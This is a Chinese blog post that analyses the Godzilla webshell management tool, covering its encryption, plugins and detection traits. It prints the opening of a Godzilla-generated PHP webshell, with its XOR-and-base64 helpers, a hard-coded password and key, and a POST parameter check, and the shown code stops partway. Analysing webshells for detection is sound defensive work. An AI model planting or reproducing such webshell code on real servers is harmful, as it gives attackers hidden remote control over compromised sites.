哥斯拉Godzilla Shell管理工具使用，马分析，特征分析（4K屏不好用，Webshell）

墨痕诉清风

已于 2022-08-25 16:32:31 修改

阅读量7.6k

点赞数

分类专栏：安全工具文章标签： web安全

于 2022-04-18 15:57:58 首次发布

本文链接：https://blog.csdn.net/u012206617/article/details/124248618

版权

安全工具专栏收录该内容

183 篇文章 71 订阅 ¥19.90 ¥99.00

订阅专栏

本文详细分析了哥斯拉Godzilla Webshell管理工具的马分析，包括其利用逻辑、特征以及简单使用方法。哥斯拉具备流量加密、数据库管理、内存shell、屏幕截图等特性，且提供多种插件模块，如JMeterpreter、ServletManage等，增强了Webshell的安全性和隐蔽性。

摘要由CSDN通过智能技术生成

BypassDisableFunctions

作者：BeichenDream

马分析

正文

先贴一下哥斯拉V2.83生成的PHP马(选择了base64作为加密方式)

<?php
    session_start(); 
    @set_time_limit(0);  
	@error_reporting(0);  
    function E($D,$K){  
        for($i=0;$i<strlen($D);$i++) {
            $D[$i] = $D[$i]^$K[$i+1&15];
        }
        return $D;
    }
    function Q($D){
        return base64_encode($D);
    }
    function O($D){
        return base64_decode($D);
    }
    $P='pass';
    $V='payload';
    $T='3c6e0b8a9c15224a';
    if (isset($_POST[$P])){

了解本专栏